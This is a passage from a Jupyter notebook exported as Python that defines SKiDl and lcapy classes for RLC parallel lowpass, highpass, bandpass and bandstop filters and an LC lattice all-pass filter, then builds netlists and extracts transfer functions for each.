term_1\n        self.r[1, 2]+=term_2, term_3\n        self.c['n']+=self.r[2]\n        \n        \n        \n        if return_elements:\n            return self.c, self.r, self.l\n    \n    def lcapy_self(self, draw_me=True, with_values=True):\n        \"\"\"\n        Creates a lcapy schematic of this classes filter that\n        can be used for amongst other things: draw a basic schematic\n        of this class filter, extract the transfer function, \n        exstract the 2Port Repersntation\n        \n        Args:\n            draw_me (bool): will draw a schematic of this classes filter schematic\n            \n            with_values (bool): will push the filters element values into\n                the resulting lcapy circuit object in place of abstract sympy variables\n            \n        Return:\n            the lcapys circuit object is stored in `self.schematic` and will\n            have abstract sympy variable for the elements if `with_values` is False\n            and will draw the schematic of just this classes filter if `draw_me` is True\n        \n        TODO:\n            - get the Vin statement into the schematic\n        \n        \"\"\"\n        \n        self.schematic=kiwi.Circuit()\n        self.schematic.add('W 0 0_1; right')\n        self.schematic.add('W 1 1_1; right=2')\n        #self.schematic.add('P1 0 1; down, v=V_i')\n        \n        self.schematic.add(f'L 0_1 2_2; right')\n        self.schematic.add(f'C 2_2 1_1; down')\n        self.schematic.add('W 2_2 2_1; right')\n        self.schematic.add('W 1_1 3_1; right')\n        self.schematic.add(f'R 2_1 3_1; down')\n\n       \n        self.schematic.add('W 2_1 2; right=1.5')\n        self.schematic.add('W 3_1 3; right=1.5')\n        self.schematic.add('P2 2 3; down, v=V_o')\n        \n        if with_values:\n            self.schematic=self.schematic.subs({'R':self.R_value, 'L':self.L_value, 'C':self.C_value})\n        \n        if draw_me:\n            self.schematic.draw()\n    \n    def get_tf(self, with_values=True, ZPK=True):\n        \"\"\"\n        will extract the symbolic transfer function for this filter\n        \n        Args:\n            with_values (bool): will push the filters element values into\n                the resulting lcapy circuit object in place of abstract sympy variables\n            \n            ZPK (bool): if True will try to return the TF in zero-pole-gain form\n                else will try to return the TF in canonical form \n                where the unity coefficient is the highest power of the denominator\n        \n        \"\"\"\n        self.lcapy_self(draw_me=False, with_values=with_values)\n        self.tf=self.schematic.transfer(0, 1, 2, 3)\n        \n        if ZPK:\n            return self.tf.ZPK()\n        else:\n            return self.tf.canonical()\n        \n    def get_twoPort(self, network_rep='Y', with_values=True):\n        \"\"\"\n        Gets the 2Port network representation of this filter.\n        The 2Port representation can be controlled\n        \n        Args:\n            network_rep (str; 'Y'): control string for what\n                representation is used to choose from:\n                \n                'Z': two-port Z-parameters matrix\n                'Y': two-port Y-parameters matrix\n                'H': two-port H-parameters matrix\n                'G': two-port G-parameters matrix\n                'ABCD': two-port A-parameters matrix\n                'invABCD': two-port B-parameters matrix\n                'S': two-port S-parameters matrix\n                'T': two-port T-parameters matrix\n                \n                \n        \"\"\"\n        \n        self.lcapy_self(draw_me=False, with_values=with_values)\n        \n        #create an action dict to get the 2P rep\n        rep_actions={\n            'Z':lambda x: x.Zparams(0, 1, 2, 1),\n            'Y':lambda x: x.Yparams(0, 1, 2, 1), \n            'H':lambda x: x.Hparams(0, 1, 2, 1),\n            'G':lambda x: x.Gparams(0, 1, 2, 1),\n            'ABCD':lambda x: x.Aparams(0, 1, 2, 1),\n            'invABCD':lambda x: x.Bparams(0, 1, 2, 1),\n            'S':lambda x: x.Sparams(0, 1, 2, 1),\n            'T':lambda x: x.Tparams(0, 1, 2, 1),\n        }\n        \n        assert network_rep in rep_actions.keys(), f'`{network_rep}` is not 2Port rep'\n        \n        return rep_actions[network_rep](self.schematic)\n\n\n# In[91]:\n\n\n#instatate the rlc_lowpass filter  \nlowpassRLC_p=rlc_parallel_lowpass(L_value=.0006750@u_H, C_value=3.33e-8@u_F, R_value=50@u_Ohm)\nlowpassRLC_p.lcapy_self()\n\n\n# In[92]:\n\n\n#get this filters abstract transfer function\nlowpassRLC_p.get_tf(with_values=False)\n\n\n# In[93]:\n\n\n#get this filters transfer function\nlowpassRLC_p.get_tf(with_values=True)\n\n\n# In[94]:\n\n\nreset()\n#create the nets\nnet_in=Net('In'); net_out=Net('Out'); \n\n#create a 1V AC test source and attache to nets\nvs=SINEV(ac_magnitude=1@u_V); vs['p', 'n']+=net_in, gnd\n\n#attaceh term_0 to net_in and term_2 to net_out per scikit-rf convention all \n#other terminals are grounded\nlowpassRLC_p.SKiDl(net_in, gnd, net_out, gnd)\n\ncirc=generate_netlist()\nprint(circ)\n\n\n# In[95]:\n\n\nfilter_responce=qfilter_explorer(circ, 'RLC Parallel Lowpass Filter Responce');\n\n\n# In[96]:\n\n\nfilter_responce.symbolic_tf(lowpassRLC_p)\n\n\n# ### RLC parallel highpass \n\n# In[97]:\n\n\n#%%writefile -a AC_2_Codes.py\n#chapteer 2 section 2 rlc_parallel_highpass filter class\n#class with lcapy and skidl subcircuit to create an RLC parallel highpass filter\n\nclass rlc_parallel_highpass():\n    \"\"\"\n    holding class for SkiDl subcircuit and lcapy schematic of a\n    highpass parallel RLC filter primitive\n    \"\"\"\n    \n    def __init__(self, subcirc_ref=None, L_value=1@u_H, C_value=1@u_F, R_value=1@u_Ohm):\n        \"\"\"\n        Args:\n            subcirc_ref (str): reference to use for the base of the internal elements\n            L_value (float; 1@u_F; Henerys): the inductance in farads for the RLC inductive element\n            C_value (float; 1@u_F; Farads): the capacitance in farads for the RLC capacitive element\n            R_value (float; 1@u_Ohm; Ohms): the resistance in ohms for the RLC resistive element\n\n        Returns:\n            None\n        TODO:\n            -add assertions\n        \"\"\"\n        #add assertions\n        self.subcirc_ref=subcirc_ref\n        self.L_value=L_value\n        self.C_value=C_value\n        self.R_value=R_value\n        \n\n    @subcircuit\n    def SKiDl(self, term_0, term_1, term_2, term_3, return_elements=False):\n        \"\"\"\n        Terminals:\n        term_0, term_1, term_2, term_3\n        \n        Terminals are defined via:\n        ```\n        Left_Termanals - RLC_s_highpass - Right_Termanals\n                             +----+  \n        Postive V_i   term_0-|0  2|-term_2     Postive V_o\n        Negtive V_i   term_1-|1  3|-term_3     Negtive V_o\n                             +----+\n        ```\n        \n        Args:\n            return_internls (bool; False): If True return out the internal Voltage Source,\n                and Resistance objects in this package\n        Returns:\n            Returns elements to circuit RLC parallel highpass filter part element object and if `return_internls`\n            is True will return the internal voltage and resistance objects in that order \n        \"\"\"\n        if self.subcirc_ref!=None:\n            Lref={'ref':f'L_{self.subcirc_ref}'}\n            Cref={'ref':f'C_{self.subcirc_ref}'}\n            Rref={'ref':f'R_{self.subcirc_ref}'}\n        else:\n            Lref={}\n            Cref={}\n            Rref={}\n        \n        self.l=L(value=self.L_value, **Lref)\n        self.c=C(value=self.C_value, **Cref)\n        self.r=R(value=self.R_value, **Rref)\n        \n        self.c['p', 'n']+=term_0, term_2\n        self.r[1, 2]+=term_2, term_1\n        self.l[1, 2]+=term_2, term_3\n        self.l[2]+=self.r[2]\n        \n        \n        \n        if return_elements:\n            return self.c, self.r, self.l\n    \n    def lcapy_self(self, draw_me=True, with_values=True):\n        \"\"\"\n        Creates a lcapy schematic of this classes filter that\n        can be used for amongst other things: draw a basic schematic\n        of this class filter, extract the transfer function, \n        exstract the 2Port Repersntation\n        \n        Args:\n            draw_me (bool): will draw a schematic of this classes filter schematic\n            \n            with_values (bool): will push the filters element values into\n                the resulting lcapy circuit object in place of abstract sympy variables\n            \n        Return:\n            the lcapys circuit object is stored in `self.schematic` and will\n            have abstract sympy variable for the elements if `with_values` is False\n            and will draw the schematic of just this classes filter if `draw_me` is True\n        \n        TODO:\n            - get the Vin statement into the schematic\n        \n        \"\"\"\n        \n        self.schematic=kiwi.Circuit()\n        self.schematic.add('W 0 0_1; right')\n        self.schematic.add('W 1 1_1; right=2')\n        #self.schematic.add('P1 0 1; down, v=V_i')\n        \n        self.schematic.add(f'C 0_1 2_2; right')\n        self.schematic.add(f'R 2_2 1_1; down')\n        self.schematic.add('W 2_2 2_1; right')\n        self.schematic.add('W 1_1 3_1; right')\n        self.schematic.add(f'L 2_1 3_1; down')\n        \n        self.schematic.add('W 2_1 2; right=1.5')\n        self.schematic.add('W 3_1 3; right=1.5')\n        self.schematic.add('P2 2 3; down, v=V_o')\n        \n        if with_values:\n            self.schematic=self.schematic.subs({'R':self.R_value, 'L':self.L_value, 'C':self.C_value})\n        \n        if draw_me:\n            self.schematic.draw()\n    \n    def get_tf(self, with_values=True, ZPK=True):\n        \"\"\"\n        will extract the symbolic transfer function for this filter\n        \n        Args:\n            with_values (bool): will push the filters element values into\n                the resulting lcapy circuit object in place of abstract sympy variables\n            \n            ZPK (bool): if True will try to return the TF in zero-pole-gain form\n                else will try to return the TF in canonical form \n                where the unity coefficient is the highest power of the denominator\n        \n        \"\"\"\n        self.lcapy_self(draw_me=False, with_values=with_values)\n        self.tf=self.schematic.transfer(0, 1, 2, 3)\n        \n        if ZPK:\n            return self.tf.ZPK()\n        else:\n            return self.tf.canonical()\n        \n    def get_twoPort(self, network_rep='Y', with_values=True):\n        \"\"\"\n        Gets the 2Port network representation of this filter.\n        The 2Port representation can be controlled\n        \n        Args:\n            network_rep (str; 'Y'): control string for what\n                representation is used to choose from:\n                \n                'Z': two-port Z-parameters matrix\n                'Y': two-port Y-parameters matrix\n                'H': two-port H-parameters matrix\n                'G': two-port G-parameters matrix\n                'ABCD': two-port A-parameters matrix\n                'invABCD': two-port B-parameters matrix\n                'S': two-port S-parameters matrix\n                'T': two-port T-parameters matrix\n                \n                \n        \"\"\"\n        \n        self.lcapy_self(draw_me=False, with_values=with_values)\n        \n        #create an action dict to get the 2P rep\n        rep_actions={\n            'Z':lambda x: x.Zparams(0, 1, 2, 1),\n            'Y':lambda x: x.Yparams(0, 1, 2, 1), \n            'H':lambda x: x.Hparams(0, 1, 2, 1),\n            'G':lambda x: x.Gparams(0, 1, 2, 1),\n            'ABCD':lambda x: x.Aparams(0, 1, 2, 1),\n            'invABCD':lambda x: x.Bparams(0, 1, 2, 1),\n            'S':lambda x: x.Sparams(0, 1, 2, 1),\n            'T':lambda x: x.Tparams(0, 1, 2, 1),\n        }\n        \n        assert network_rep in rep_actions.keys(), f'`{network_rep}` is not 2Port rep'\n        \n        return rep_actions[network_rep](self.schematic)\n\n\n# In[98]:\n\n\n#instatate the rlc_highpass filter\nhighpassRLC_p=rlc_parallel_highpass(L_value=.0006750@u_H, C_value=3.33e-8@u_F, R_value=50@u_Ohm)\nhighpassRLC_p.lcapy_self()\n\n\n# In[99]:\n\n\n#get this filters abstract transfer function\nhighpassRLC_p.get_tf(with_values=False)\n\n\n# In[100]:\n\n\n#get this filters transfer function\nhighpassRLC_p.get_tf(with_values=True)\n\n\n# In[101]:\n\n\nreset()\n#create the nets\nnet_in=Net('In'); net_out=Net('Out'); \n\n#create a 1V AC test source and attache to nets\nvs=SINEV(ac_magnitude=1@u_V); vs['p', 'n']+=net_in, gnd\n\n#attaceh term_0 to net_in and term_2 to net_out per scikit-rf convention all \n#other terminals are grounded\nhighpassRLC_p.SKiDl(net_in, gnd, net_out, gnd)\n\ncirc=generate_netlist()\nprint(circ)\n\n\n# In[102]:\n\n\nfilter_responce=qfilter_explorer(circ, 'RLC Parallel Highpass Filter Responce');\n\n\n# In[103]:\n\n\nfilter_responce.symbolic_tf(highpassRLC_p)\n\n\n# ### RLC parallel bandpass \n\n# In[104]:\n\n\n#%%writefile -a AC_2_Codes.py\n#chapteer 2 section 2 rlc_parallel_bandpass filter class\n#class with lcapy and skidl subcircuit to create an RLC parallel bandpass filter\n\nclass rlc_parallel_bandpass():\n    \"\"\"\n    holding class for SkiDl subcircuit and lcapy schematic of a\n    bandpass parallel RLC filter primitive\n    \"\"\"\n    \n    def __init__(self, subcirc_ref=None, L_value=1@u_H, C_value=1@u_F, R_value=1@u_Ohm):\n        \"\"\"\n        Args:\n            subcirc_ref (str): reference to use for the base of the internal elements\n            L_value (float; 1@u_F; Henerys): the inductance in farads for the RLC inductive element\n            C_value (float; 1@u_F; Farads): the capacitance in farads for the RLC capacitive element\n            R_value (float; 1@u_Ohm; Ohms): the resistance in ohms for the RLC resistive element\n\n        Returns:\n            None\n        TODO:\n            -add assertions\n        \"\"\"\n        #add assertions\n        self.subcirc_ref=subcirc_ref\n        self.L_value=L_value\n        self.C_value=C_value\n        self.R_value=R_value\n        \n\n    @subcircuit\n    def SKiDl(self, term_0, term_1, term_2, term_3, return_elements=False):\n        \"\"\"\n        Terminals:\n        term_0, term_1, term_2, term_3\n        \n        Terminals are defined via:\n        ```\n        Left_Termanals - RLC_s_bandpass - Right_Termanals\n                             +----+  \n        Postive V_i   term_0-|0  2|-term_2     Postive V_o\n        Negtive V_i   term_1-|1  3|-term_3     Negtive V_o\n                             +----+\n        ```\n        \n        Args:\n            return_internls (bool; False): If True return out the internal Voltage Source,\n                and Resistance objects in this package\n        Returns:\n            Returns elements to circuit RLC parallel bandpass filter part element object and if `return_internls`\n            is True will return the internal voltage and resistance objects in that order \n        \"\"\"\n        if self.subcirc_ref!=None:\n            Lref={'ref':f'L_{self.subcirc_ref}'}\n            Cref={'ref':f'C_{self.subcirc_ref}'}\n            Rref={'ref':f'R_{self.subcirc_ref}'}\n        else:\n            Lref={}\n            Cref={}\n            Rref={}\n        \n        self.l=L(value=self.L_value, **Lref)\n        self.c=C(value=self.C_value, **Cref)\n        self.r=R(value=self.R_value, **Rref)\n        \n        self.r[1, 2]+=term_0, term_2\n        self.c['p', 'n']+=term_2, term_1\n        self.l[1, 2]+=term_2, term_3\n        self.l[2]+=self.c['n']\n        \n        \n        \n        if return_elements:\n            return self.c, self.r, self.l\n    \n    def lcapy_self(self, draw_me=True, with_values=True):\n        \"\"\"\n        Creates a lcapy schematic of this classes filter that\n        can be used for amongst other things: draw a basic schematic\n        of this class filter, extract the transfer function, \n        exstract the 2Port Repersntation\n        \n        Args:\n            draw_me (bool): will draw a schematic of this classes filter schematic\n            \n            with_values (bool): will push the filters element values into\n                the resulting lcapy circuit object in place of abstract sympy variables\n            \n        Return:\n            the lcapys circuit object is stored in `self.schematic` and will\n            have abstract sympy variable for the elements if `with_values` is False\n            and will draw the schematic of just this classes filter if `draw_me` is True\n        \n        TODO:\n            - get the Vin statement into the schematic\n        \n        \"\"\"\n        \n        self.schematic=kiwi.Circuit()\n        self.schematic.add('W 0 0_1; right')\n        self.schematic.add('W 1 1_1; right=2')\n        #self.schematic.add('P1 0 1; down, v=V_i')\n        \n        self.schematic.add(f'R 0_1 2_2; right')\n        self.schematic.add(f'C 2_2 1_1; down')\n        self.schematic.add('W 2_2 2_1; right')\n        self.schematic.add('W 1_1 3_1; right')\n        self.schematic.add(f'L 2_1 3_1; down')\n        \n        self.schematic.add('W 2_1 2; right=1.5')\n        self.schematic.add('W 3_1 3; right=1.5')\n        self.schematic.add('P2 2 3; down, v=V_o')\n        \n        if with_values:\n            self.schematic=self.schematic.subs({'R':self.R_value, 'L':self.L_value, 'C':self.C_value})\n        \n        if draw_me:\n            self.schematic.draw()\n    \n    def get_tf(self, with_values=True, ZPK=True):\n        \"\"\"\n        will extract the symbolic transfer function for this filter\n        \n        Args:\n            with_values (bool): will push the filters element values into\n                the resulting lcapy circuit object in place of abstract sympy variables\n            \n            ZPK (bool): if True will try to return the TF in zero-pole-gain form\n                else will try to return the TF in canonical form \n                where the unity coefficient is the highest power of the denominator\n        \n        \"\"\"\n        self.lcapy_self(draw_me=False, with_values=with_values)\n        self.tf=self.schematic.transfer(0, 1, 2, 3)\n        \n        if ZPK:\n            return self.tf.ZPK()\n        else:\n            return self.tf.canonical()\n        \n    def get_twoPort(self, network_rep='Y', with_values=True):\n        \"\"\"\n        Gets the 2Port network representation of this filter.\n        The 2Port representation can be controlled\n        \n        Args:\n            network_rep (str; 'Y'): control string for what\n                representation is used to choose from:\n                \n                'Z': two-port Z-parameters matrix\n                'Y': two-port Y-parameters matrix\n                'H': two-port H-parameters matrix\n                'G': two-port G-parameters matrix\n                'ABCD': two-port A-parameters matrix\n                'invABCD': two-port B-parameters matrix\n                'S': two-port S-parameters matrix\n                'T': two-port T-parameters matrix\n                \n                \n        \"\"\"\n        \n        self.lcapy_self(draw_me=False, with_values=with_values)\n        \n        #create an action dict to get the 2P rep\n        rep_actions={\n            'Z':lambda x: x.Zparams(0, 1, 2, 1),\n            'Y':lambda x: x.Yparams(0, 1, 2, 1), \n            'H':lambda x: x.Hparams(0, 1, 2, 1),\n            'G':lambda x: x.Gparams(0, 1, 2, 1),\n            'ABCD':lambda x: x.Aparams(0, 1, 2, 1),\n            'invABCD':lambda x: x.Bparams(0, 1, 2, 1),\n            'S':lambda x: x.Sparams(0, 1, 2, 1),\n            'T':lambda x: x.Tparams(0, 1, 2, 1),\n        }\n        \n        assert network_rep in rep_actions.keys(), f'`{network_rep}` is not 2Port rep'\n        \n        return rep_actions[network_rep](self.schematic)\n\n\n# In[105]:\n\n\n#instatate the rlc_bandpass filter\nbandpassRLC_p=rlc_parallel_bandpass(L_value=.0006750@u_H, C_value=3.33e-8@u_F, R_value=50@u_Ohm)\nbandpassRLC_p.lcapy_self()\n\n\n# In[106]:\n\n\n#get this filters abstract transfer function\nbandpassRLC_p.get_tf(with_values=False)\n\n\n# In[107]:\n\n\n#get this filters transfer function\nbandpassRLC_p.get_tf(with_values=True)\n\n\n# In[108]:\n\n\nreset()\n#create the nets\nnet_in=Net('In'); net_out=Net('Out'); \n\n#create a 1V AC test source and attache to nets\nvs=SINEV(ac_magnitude=1@u_V); vs['p', 'n']+=net_in, gnd\n\n#attaceh term_0 to net_in and term_2 to net_out per scikit-rf convention all \n#other terminals are grounded\nbandpassRLC_p.SKiDl(net_in, gnd, net_out, gnd)\n\ncirc=generate_netlist()\nprint(circ)\n\n\n# In[109]:\n\n\nfilter_responce=qfilter_explorer(circ, 'RLC Parallel Bandpass Filter Responce');\n\n\n# In[110]:\n\n\nfilter_responce.symbolic_tf(bandpassRLC_p)\n\n\n# ### RLC parallel bandstop\n\n# In[111]:\n\n\n#%%writefile -a AC_2_Codes.py\n#chapteer 2 section 2 rlc_parallel_bandstop filter class\n#class with lcapy and skidl subcircuit to create an RLC parallel bandstop filter\n\nclass rlc_parallel_bandstop():\n    \"\"\"\n    holding class for SkiDl subcircuit and lcapy schematic of a\n    bandstop parallel RLC filter primitive\n    \"\"\"\n    \n    def __init__(self, subcirc_ref=None, L_value=1@u_H, C_value=1@u_F, R_value=1@u_Ohm):\n        \"\"\"\n        Args:\n            subcirc_ref (str): reference to use for the base of the internal elements\n            L_value (float; 1@u_F; Henerys): the inductance in farads for the RLC inductive element\n            C_value (float; 1@u_F; Farads): the capacitance in farads for the RLC capacitive element\n            R_value (float; 1@u_Ohm; Ohms): the resistance in ohms for the RLC resistive element\n\n        Returns:\n            None\n        TODO:\n            -add assertions\n        \"\"\"\n        #add assertions\n        self.subcirc_ref=subcirc_ref\n        self.L_value=L_value\n        self.C_value=C_value\n        self.R_value=R_value\n        \n\n    @subcircuit\n    def SKiDl(self, term_0, term_1, term_2, term_3, return_elements=False):\n        \"\"\"\n        Terminals:\n        term_0, term_1, term_2, term_3\n        \n        Terminals are defined via:\n        ```\n        Left_Termanals - RLC_s_bandstop - Right_Termanals\n                             +----+  \n        Postive V_i   term_0-|0  2|-term_2     Postive V_o\n        Negtive V_i   term_1-|1  3|-term_3     Negtive V_o\n                             +----+\n        ```\n        \n        Args:\n            return_internls (bool; False): If True return out the internal Voltage Source,\n                and Resistance objects in this package\n        Returns:\n            Returns elements to circuit RLC parallel bandstop filter part element object and if `return_internls`\n            is True will return the internal voltage and resistance objects in that order \n        \"\"\"\n        if self.subcirc_ref!=None:\n            Lref={'ref':f'L_{self.subcirc_ref}'}\n            Cref={'ref':f'C_{self.subcirc_ref}'}\n            Rref={'ref':f'R_{self.subcirc_ref}'}\n        else:\n            Lref={}\n            Cref={}\n            Rref={}\n        \n        self.l=L(value=self.L_value, **Lref)\n        self.c=C(value=self.C_value, **Cref)\n        self.r=R(value=self.R_value, **Rref)\n        \n        self.c['p', 'n']+=term_0, term_2\n        self.l[1, 2]+=term_0, term_2\n        self.r[1, 2]+=term_2, term_3\n        self.r[2]+=term_1\n        \n        \n        \n        if return_elements:\n            return self.c, self.r, self.l\n    \n    def lcapy_self(self, draw_me=True, with_values=True):\n        \"\"\"\n        Creates a lcapy schematic of this classes filter that\n        can be used for amongst other things: draw a basic schematic\n        of this class filter, extract the transfer function, \n        exstract the 2Port Repersntation\n        \n        Args:\n            draw_me (bool): will draw a schematic of this classes filter schematic\n            \n            with_values (bool): will push the filters element values into\n                the resulting lcapy circuit object in place of abstract sympy variables\n            \n        Return:\n            the lcapys circuit object is stored in `self.schematic` and will\n            have abstract sympy variable for the elements if `with_values` is False\n            and will draw the schematic of just this classes filter if `draw_me` is True\n        \n        TODO:\n            - get the Vin statement into the schematic\n        \n        \"\"\"\n        \n        self.schematic=kiwi.Circuit()\n        self.schematic.add('W 0 0_1; right')\n        self.schematic.add('W 1 3_1; right=3.5')\n        #self.schematic.add('P1 0 1; down, v=V_i')\n        \n        self.schematic.add('W 0_1, 0_2; up=.3')\n        self.schematic.add(f'L 0_2 2_3; right')\n        self.schematic.add('W 2_3 2_2; down=.3')\n        \n        self.schematic.add('W 0_1, 0_3; down=.3')\n        self.schematic.add(f'C 0_3 2_4; right')\n        self.schematic.add('W 2_4 2_2; up=.3')\n\n        self.schematic.add(f'R 2_1 3_1; down')\n\n        \n        self.schematic.add('W 2_2 2_1; right')\n        self.schematic.add('W 2_1 2; right')\n        self.schematic.add('W 3_1 3; right')\n        self.schematic.add('P2 2 3; down, v=V_o')\n        \n        if with_values:\n            self.schematic=self.schematic.subs({'R':self.R_value, 'L':self.L_value, 'C':self.C_value})\n        \n        if draw_me:\n            self.schematic.draw()\n    \n    def get_tf(self, with_values=True, ZPK=True):\n        \"\"\"\n        will extract the symbolic transfer function for this filter\n        \n        Args:\n            with_values (bool): will push the filters element values into\n                the resulting lcapy circuit object in place of abstract sympy variables\n            \n            ZPK (bool): if True will try to return the TF in zero-pole-gain form\n                else will try to return the TF in canonical form \n                where the unity coefficient is the highest power of the denominator\n        \n        \"\"\"\n        self.lcapy_self(draw_me=False, with_values=with_values)\n        self.tf=self.schematic.transfer(0, 1, 2, 3)\n        \n        if ZPK:\n            return self.tf.ZPK()\n        else:\n            return self.tf.canonical()\n        \n    def get_twoPort(self, network_rep='Y', with_values=True):\n        \"\"\"\n        Gets the 2Port network representation of this filter.\n        The 2Port representation can be controlled\n        \n        Args:\n            network_rep (str; 'Y'): control string for what\n                representation is used to choose from:\n                \n                'Z': two-port Z-parameters matrix\n                'Y': two-port Y-parameters matrix\n                'H': two-port H-parameters matrix\n                'G': two-port G-parameters matrix\n                'ABCD': two-port A-parameters matrix\n                'invABCD': two-port B-parameters matrix\n                'S': two-port S-parameters matrix\n                'T': two-port T-parameters matrix\n                \n                \n        \"\"\"\n        \n        self.lcapy_self(draw_me=False, with_values=with_values)\n        \n        #create an action dict to get the 2P rep\n        rep_actions={\n            'Z':lambda x: x.Zparams(0, 1, 2, 1),\n            'Y':lambda x: x.Yparams(0, 1, 2, 1), \n            'H':lambda x: x.Hparams(0, 1, 2, 1),\n            'G':lambda x: x.Gparams(0, 1, 2, 1),\n            'ABCD':lambda x: x.Aparams(0, 1, 2, 1),\n            'invABCD':lambda x: x.Bparams(0, 1, 2, 1),\n            'S':lambda x: x.Sparams(0, 1, 2, 1),\n            'T':lambda x: x.Tparams(0, 1, 2, 1),\n        }\n        \n        assert network_rep in rep_actions.keys(), f'`{network_rep}` is not 2Port rep'\n        \n        return rep_actions[network_rep](self.schematic)\n\n\n# In[112]:\n\n\n#instatate the rc_bandpass filter to \nbandstopRLC_p=rlc_parallel_bandstop(L_value=.0006750@u_H, C_value=3.33e-8@u_F, R_value=50@u_Ohm)\nbandstopRLC_p.lcapy_self()\n\n\n# In[113]:\n\n\n#get this filters abstract transfer function\nbandstopRLC_p.get_tf(with_values=False)\n\n\n# In[114]:\n\n\n#get this filters transfer function\nbandstopRLC_p.get_tf(with_values=True)\n\n\n# In[115]:\n\n\nreset()\n#create the nets\nnet_in=Net('In'); net_out=Net('Out'); \n\n#create a 1V AC test source and attache to nets\nvs=SINEV(ac_magnitude=1@u_V); vs['p', 'n']+=net_in, gnd\n\n#attaceh term_0 to net_in and term_2 to net_out per scikit-rf convention all \n#other terminals are grounded\nbandstopRLC_p.SKiDl(net_in, gnd, net_out, gnd)\n\ncirc=generate_netlist()\nprint(circ)\n\n\n# In[116]:\n\n\nfilter_responce=qfilter_explorer(circ, 'RLC Parallel Bandstop Filter Responce');\n\n\n# In[117]:\n\n\nfilter_responce.symbolic_tf(bandstopRLC_p)\n\n\n# # All Pass filters\n\n# The naming of filters as has been seen is based on the shape of the Bode Magnitude Plot and for the most part, Phase has kind of been a ride along part of the filter design. Stating that, the name for an All-Pass filter is misleading; the better name is a Phase Shaping filter. These Filters ideally do not affect the magnitude of the signal passed through them and instead affect the phase. Here we will look at the lattice All-Pass filter for the low-frequency phase from the following Wikipedia article \n# \n# https://en.wikipedia.org/wiki/Lattice_phase_equaliser\n# \n\n# In[118]:\n\n\n#%%writefile -a AC_2_Codes.py\n#chapteer 2 section 2 lc_balanced_allpass_lowfreq_lattice_filt filter class\n#class with lcapy and skidl subcircuit to create an lc all-pass filter\n\nclass lc_balanced_allpass_lowfreq_lattice_filt():\n    \"\"\"\n    holding class for SkiDl subcircuit and lcapy schematic of a\n    bandstop parallel RLC filter primitive\n    \"\"\"\n    \n    def __init__(self, subcirc_ref=None, L1_value=1@u_H, L2_value=1@u_H,  C1_value=1@u_F, C2_value=1@u_F):\n        \"\"\"\n        Args:\n            subcirc_ref (str): reference to use for the base of the internal elements\n            L1_value (float; 1@u_F; Henerys): the inductance in farads for the top inductive element\n            L2_value (float; 1@u_F; Henerys): the inductance in farads for the bottom inductive element\n            C1_value (float; 1@u_F; Farads): the capacitance in farads for the term 2 to term 1 capacitive element\n            C2_value (float; 1@u_F; Farads): the capacitance in farads for the term 0 to term 2 capacitive element\n\n        Returns:\n            None\n        TODO:\n            -add assertions\n        \"\"\"\n        #add assertions\n        self.subcirc_ref=subcirc_ref\n        self.L1_value=L1_value\n        self.L2_value=L2_value\n        self.C1_value=C1_value\n        self.C2_value=C2_value\n        \n\n    @subcircuit\n    def SKiDl(self, term_0, term_1, term_2, term_3, return_elements=False):\n        \"\"\"\n        Terminals:\n        term_0, term_1, term_2, term_3\n        \n        Terminals are defined via:\n        ```\n        Left_Termanals - RLC_s_bandstop - Right_Termanals\n                             +----+  \n        Postive V_i   term_0-|0  2|-term_2     Postive V_o\n        Negtive V_i   term_1-|1  3|-term_3     Negtive V_o\n                             +----+\n        ```\n        \n        Args:\n            return_internls (bool; False): If True return out the internal Voltage Source,\n                and Resistance objects in this package\n        Returns:\n            Returns elements to circuit RLC parallel bandstop filter part element object and if `return_internls`\n            is True will return the internal voltage and resistance objects in that order \n        \"\"\"\n        if self.subcirc_ref!=None:\n            L1ref={'ref':f'L_{self.subcirc_ref}1'}\n            L2ref={'ref':f'L_{self.subcirc_ref}2'}\n\n            C1ref={'ref':f'C_{self.subcirc_ref}1'}\n            C2ref={'ref':f'C_{self.subcirc_ref}2'}\n        else:\n            L1ref={}\n            L2ref={}\n            \n            C1ref={}\n            C2ref={}\n        \n        self.l1=L(value=self.L1_value, **L1ref)\n        self.l2=L(value=self.L2_value, **L2ref)\n\n        self.c1=C(value=self.C1_value, **C1ref)\n        self.c2=C(value=self.C2_value, **C2ref)\n        \n        \n        term_0+=self.l1[1], self.c2['p']\n        term_1+=self.l2[1], self.c1['n']\n        term_2+=self.l1[2], self.c1['p']\n        term_3+=self.l2[2], self.c2['n']   \n        \n        \n        \n        \n        if return_elements:\n            return self.c, self.r, self.l\n    \n    def lcapy_self(self, draw_me=True, with_values=True):\n        \"\"\"\n        Creates a lcapy schematic of this classes filter that\n        can be used for amongst other things: draw a basic schematic\n        of this class filter, extract the transfer function, \n        exstract the 2Port Repersntation\n        \n        Args:\n            draw_me (bool): will draw a schematic of this classes filter schematic\n            \n            with_values (bool): will push the filters element values into\n                the resulting lcapy circuit object in place of abstract sympy variables\n            \n        Return:\n            the lcapys circuit object is stored in `self.schematic` and will\n            have abstract sympy variable for the elements if `with_values` is False\n            and will draw the schematic of just this classes filter if `draw_me` is True\n        \n        TODO:\n            - must draw this better\n            - get the Vin statement into the schematic\n            \n        \n        \"\"\"\n        \n        self.schematic=kiwi.Circuit()\n        \n        self.schematic=kiwi.Circuit()\n        #self.schematic.add('W 0 0; right')\n        #self.schematic.add('W 1 3; right=3.5')\n        #self.schematic.add('P1 0 1; down, v=V_i')\n        \n        #It ant pretty but it works\n        self.schematic.add('W 0 0_3; right')\n        self.schematic.add(f'L1 0_3 2_2; right')\n        self.schematic.add('W 2_2 2; right')\n\n        self.schematic.add('W 0 0_2; rotate=-45')\n        self.schematic.add(f'C2 0_2 3; rotate=-45')\n        \n        self.schematic.add(f'C1 2 1_2; rotate=225')\n        self.schematic.add(f'W 1_2 1; rotate=225')\n        \n        self.schematic.add('W 1 1_3; right')\n        self.schematic.add(f'L2 1_3 3_2; right=2')\n        self.schematic.add('W 3_2 3; right')\n\n        \n        if with_values:\n            self.schematic=self.schematic.subs({'L1':self.L1_value, 'L2':self.L2_value, \n                                                'C1':self.C1_value, 'C2':self.C2_value})\n        \n        if draw_me:\n            self.schematic.draw()\n    \n    def get_tf(self, with_values=True, ZPK=True):\n        \"\"\"\n        will extract the symbolic transfer function for this filter\n        \n        Args:\n            with_values (bool): will push the filters element values into\n                the resulting lcapy circuit object in place of abstract sympy variables\n            \n            ZPK (bool): if True will try to return the TF in zero-pole-gain form\n                else will try to return the TF in canonical form \n                where the unity coefficient is the highest power of the denominator\n        \n        \"\"\"\n        self.lcapy_self(draw_me=False, with_values=with_values)\n        self.tf=self.schematic.transfer(0, 1, 2, 3)\n        \n        if ZPK:\n            return self.tf.ZPK()\n        